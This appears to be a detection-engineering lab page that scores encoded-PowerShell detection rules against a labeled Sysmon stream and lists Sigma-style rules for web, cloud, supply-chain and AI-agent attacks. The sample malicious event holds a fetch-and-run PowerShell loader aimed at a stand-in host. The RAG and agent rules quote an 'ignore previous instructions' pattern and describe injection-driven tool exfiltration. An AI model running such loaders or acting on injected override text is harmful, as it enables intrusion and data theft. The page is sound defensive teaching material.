← marwandiallo.comlabs

Detection Engineering

Real telemetry from real incidents, two detection rules per scenario, a ground-truth labeled event stream. Watch the naive rule fire on every helpdesk PowerShell session while the tuned rule catches the macro loader. Edit either rule's match tree as JSON and see precision / recall update live.

How this works. Each scenario ships a Sysmon / CloudTrail / Entra event stream with a labeled ground truth: which events are part of the attack and which are benign. The runner evaluates a Sigma-style condition tree (eq / contains / regex / in / gte / and / or / not) against every event and reports true positives, false positives, false negatives, precision, recall, and F1. Edit the JSON to bias either rule and watch the metrics move.

Scenarios

Setup. An attacker drops a base64-encoded PowerShell payload via -EncodedCommand. The naive rule fires on every -enc usage; the tuned rule weights long base64 + suspicious decoded markers.

reference: Microsoft Threat Intelligence — observed across Conti, BlackCat, and most ransomware affiliates 2020-2024.

Rules side by side

naiveDE.PS.NAIVE
powershell -enc anywhere

Fires on any PowerShell command line containing -enc / -EncodedCommand. Catches the bad guys but also catches every helpdesk runbook.

ATT&CK: T1059.001
TP1
FP1
FN1
TN1
precision0.50
recall0.50
F10.50

attack.mitre.org

tunedDE.PS.TUNED
powershell -enc with long payload from Office or browser

Requires -enc plus a long base64 payload (≥100 chars) AND a parent process that should never spawn powershell (winword, excel, outlook, browsers). Cuts FP from helpdesk runbooks while keeping coverage of the macro-borne loader.

ATT&CK: T1059.001, T1566.001
TP1
FP0
FN1
TN2
precision1.00
recall0.50
F10.67

known FP: Penetration testers using the same TTP for authorized assessments.

Florian Roth, sigma-rules/win_susp_powershell_enc_cmd.yml + Red Canary Threat Detection 2024.

Event stream (4 events, 2 malicious)

2025-03-12T09:14:22.000Z · Sysmon · id=1
maliciousnaive tuned
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine: powershell.exe -NoP -W Hidden -enc SQBFAFgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAGEAdAB0AGEAYwBrAC4AZQB4AGEAbQBwAGwAZQAvAHMAdABhAGcAZQAxACcAKQA=
ParentImage: C:\Windows\System32\winword.exe
User: DESKTOP-Q9X\jdoe

// decoded: IEX (new-object net.webclient).downloadstring('http://attack.example/stage1')

2025-03-12T09:14:25.000Z · Sysmon · id=3
maliciousnaive ·tuned ·
Image: powershell.exe
DestinationIp: 203.0.113.42
DestinationPort: 80
User: DESKTOP-Q9X\jdoe

// outbound to attacker stager

2025-03-12T09:30:01.000Z · Sysmon · id=1
benignnaive ·tuned ·
Image: powershell.exe
CommandLine: powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Program Files\Acme\update.ps1
ParentImage: C:\Program Files\Acme\AcmeUpdater.exe
User: NT AUTHORITY\SYSTEM

// legitimate signed updater

2025-03-12T10:02:11.000Z · Sysmon · id=1
benignnaive tuned ·
Image: powershell.exe
CommandLine: powershell.exe -enc dABlAHMAdAAxADIAMwA=
ParentImage: explorer.exe
User: CORP\helpdesk

// support engineer testing — decoded: 'test123'

Detection rules by lab

One Sigma-equivalent starting point per lab domain. Each rule lists the data source it needs, the ATT&CK / OWASP / CVE handle it targets, the known false-positive shape, and a published reference. Lift the body into a real Sigma file, tune the allowlists for your environment, and ship. This catalog is rendered server-side so it does not ship to your browser as JavaScript.

CSPopen lab →
DE.CSP.REPORT.SCRIPT-SRCCSP report-only violation: script-src blocks third-partymedium

When report-only violations spike against script-src, you're either watching an XSS attempt or a forgotten vendor tag. Either way, you need eyes on it before promoting the policy from report-only to enforce.

data source
Application logs of the /csp-report endpoint (or the CSP reports collector you've wired up). Web Application Firewall if it ingests CSP reports.
maps to
OWASP A03:2021 Injection / CWE-79
known FP
Browser extensions that inject content. Filter on blocked-uri host before alerting.
reference
https://www.w3.org/TR/CSP3/#violation — and Mozilla's blog on rolling out CSP report-only at scale
title: CSP script-src violation spike
logsource:
  product: web
  service: csp-reports
detection:
  selection:
    csp-report.violated-directive|startswith: 'script-src'
    csp-report.blocked-uri|re: '^https?://'
  count_over_5m: 25
  condition: selection
JWTopen lab →
DE.JWT.ALG.NONEJWT presented with alg=none or alg switch (HS↔RS)critical

alg=none is CVE-2015-9235; verifier downgrade RS→HS is CVE-2016-10555. If a token with header.alg='none' or a token whose alg differs from the issuer's published JWKS reaches the resource server, the verifier is misconfigured.

data source
API gateway access logs that decode and log the JWT header (Kong, Envoy ext_authz, AWS API Gateway custom authorizer, Azure APIM). Application logs that emit auth.alg.
maps to
CWE-347 / CVE-2015-9235 / CVE-2016-10555
known FP
Internal services that genuinely use HS256 with a shared secret — maintain a per-issuer alg allowlist instead of one global list.
reference
https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
title: JWT with alg=none or unexpected alg
logsource:
  product: api-gateway
  service: auth
detection:
  none:
    auth.jwt.alg: 'none'
  drift:
    auth.jwt.alg|not_in: [RS256, ES256, EdDSA]
  condition: none or drift
SSRFopen lab →
DE.SSRF.METADATA.EGRESSOutbound request from app subnet to cloud metadata IPscritical

Capital One (2019) was AWS IMDSv1 SSRF. Any outbound from your app tier to 169.254.169.254 (AWS/Azure), 100.100.100.200 (Aliyun), or fd00:ec2::254 (AWS IPv6 metadata) is exfil-class unless explicitly whitelisted.

data source
VPC Flow Logs, Azure NSG Flow Logs, GCP VPC Flow Logs, or eBPF egress telemetry (Cilium Hubble, Tetragon). Any place you can see srcip→dstip per process.
maps to
MITRE ATT&CK T1552.005 (Cloud Instance Metadata API)
known FP
Sidecars / daemonsets that legitimately query IMDS (kube2iam, IRSA agents). Pin the source identity to those workloads.
reference
https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/ — and the AWS IMDSv2 hardening guide
title: Outbound to cloud instance metadata service
logsource:
  product: vpc-flow-logs
detection:
  selection:
    dst.ip|in:
      - 169.254.169.254
      - 100.100.100.200
      - fd00:ec2::254
    src.subnet|not_in: ['allowed-imds-egress-subnets']
  condition: selection
IAM PrivEscopen lab →
DE.IAM.PRIVESC.PASSROLEiam:PassRole granted with Resource: '*'high

Rhino Security's canonical AWS privesc list — iam:PassRole + lambda:CreateFunction (or ec2:RunInstances, glue:CreateDevEndpoint, etc.) on '*' lets an attacker assume any role the account holds. Watch for both the policy attachment and the post-attachment exercise.

data source
AWS CloudTrail (PutUserPolicy, AttachRolePolicy, CreatePolicyVersion). For Azure: Microsoft Graph audit logs on directoryRoleAssignment. For GCP: Cloud Audit Logs on iam.serviceAccounts.actAs grants.
maps to
MITRE ATT&CK T1078.004 (Cloud Accounts) / Rhino Security AWS-PassRole
known FP
Bootstrap policies in landing-zone tooling (ControlTower, Terraform Cloud) on first apply. Suppress per-pipeline.
reference
https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
title: IAM policy attached granting iam:PassRole on '*'
logsource:
  product: aws-cloudtrail
detection:
  selection:
    eventSource: 'iam.amazonaws.com'
    eventName|in: [PutUserPolicy, PutRolePolicy, AttachRolePolicy, CreatePolicyVersion]
    requestParameters.policyDocument|contains: '\"iam:PassRole\"'
    requestParameters.policyDocument|contains: '\"Resource\": \"*\"'
  condition: selection
Supply Chainopen lab →
DE.SUPPLYCHAIN.POSTINSTALL.NETWORKnpm/PyPI postinstall reaches outbound network during CIhigh

event-stream (2018), ua-parser-js (2021), node-ipc (2022), and the 2024 XZ Utils backdoor all executed code at install time and called home or staged a payload. Detect it by watching the lifecycle script's network behaviour, not the package name.

data source
CI runner sandbox telemetry (GitHub Actions ephemeral runner with --network=hostNS, Falco on self-hosted, eBPF egress on builders). For pip: --no-build-isolation makes this easier to gate.
maps to
MITRE ATT&CK T1195.002 (Compromise Software Supply Chain)
known FP
Packages that legitimately fetch native binaries (node-sass, esbuild). Maintain an allowlist of known download hosts per dep.
reference
https://blog.sonatype.com/event-stream-incident — and the CISA SBOM guidance
title: Lifecycle script makes outbound connection during install
logsource:
  product: ci-runner
  service: install-step
detection:
  selection:
    process.parent|re: '(npm|yarn|pnpm|pip|setup\.py)'
    process.lifecycle|in: [preinstall, install, postinstall]
    network.direction: outbound
    network.dst.ip|not_in: ['npm-registry-cidrs', 'pypi-cidrs', 'github-cdn-cidrs']
  condition: selection
RAGopen lab →
DE.RAG.POISONED.DOCIndexed document contains imperative override / tool-callmedium

Indirect prompt injection lands in your KB before it lands in your model. Scan documents at index time for patterns the agent will treat as instructions: 'ignore previous instructions', tool-call markup, hidden white-on-white text, base64-wrapped imperatives.

data source
Pre-index document scanner (your ingestion pipeline). Logs from your vector DB ingestion job (Pinecone, Azure AI Search, pgvector). Adjacent: outbound DLP on what the agent posts.
maps to
OWASP LLM01 (Prompt Injection — indirect)
known FP
Security training docs that quote injection examples — tag them at ingest and exempt by collection.
reference
Greshake et al. 2023 — 'Not what you've signed up for: indirect prompt injection on integrated LLM applications'
title: Indexed RAG document contains injection markers
logsource:
  service: rag-ingest
detection:
  imperatives:
    body|re: '(?i)ignore (the )?(previous|prior|all) instructions?'
  tool_call:
    body|contains:
      - '<tool_call'
      - '\"name\": \"send_email\"'
  hidden:
    body|re: 'color\s*:\s*#?fff(fff)?\b'
  condition: imperatives or tool_call or hidden
Prompt Injectionopen lab →
DE.PROMPT.TOOL.EXFILAgent invokes send_email / web_fetch outside allowlisthigh

BlackHat 2024 (Bargury) and Embracethered's Copilot disclosures show data-exfil follows a stable pattern: model is induced (via injected content) to call a tool with attacker-controlled arguments. Alert when the tool target falls outside the per-tenant allowlist.

data source
Agent runtime tool-call telemetry (LangSmith, OpenTelemetry GenAI semantics, your own tool-router log). Egress proxy logs for web_fetch.
maps to
OWASP LLM01 + LLM02 (Insecure Output Handling)
known FP
Sales agents legitimately emailing external domains. Maintain allowlists per agent purpose, not one global list.
reference
Bargury, BlackHat USA 2024 — 'Living off Microsoft Copilot' — and embracethered.com Copilot exfil writeups
title: Agent tool-call to non-allowlisted destination
logsource:
  service: agent-runtime
detection:
  email_exfil:
    tool.name: send_email
    tool.args.to|not_endswith: ['@example.com']
  web_exfil:
    tool.name: web_fetch
    tool.args.url|not_re: '^https?://(docs|api)\.example\.com/'
  condition: email_exfil or web_exfil
Agent Identityopen lab →
DE.AGENT.LONGLIVED.SECRETAgent presents long-lived static credential (no exp / no act)high

Most agent platforms ship with API keys in config. Token without an exp claim, or without an act claim when called user-on-behalf-of, breaks attribution and replay defence. Drift surface.

data source
Resource-server access logs (the API the agent calls). Your IdP's emitted-token catalog if you mint short-lived tokens centrally.
maps to
RFC 8693 §1.2 / NIST SP 800-63-4 (NPE treatment) / OWASP LLM06 (Insecure Plugin Design)
known FP
Health-check tokens for synthetic monitors. Tag and exempt by issuer + subject.
reference
https://www.rfc-editor.org/rfc/rfc8693 §4.1 (act claim) — SPIFFE workload identity
title: Agent token missing exp or act when delegated
logsource:
  product: api-gateway
  service: auth
detection:
  no_exp:
    auth.jwt.exp: null
  delegated_no_act:
    auth.jwt.is_agent: true
    auth.jwt.act.sub: null
  condition: no_exp or delegated_no_act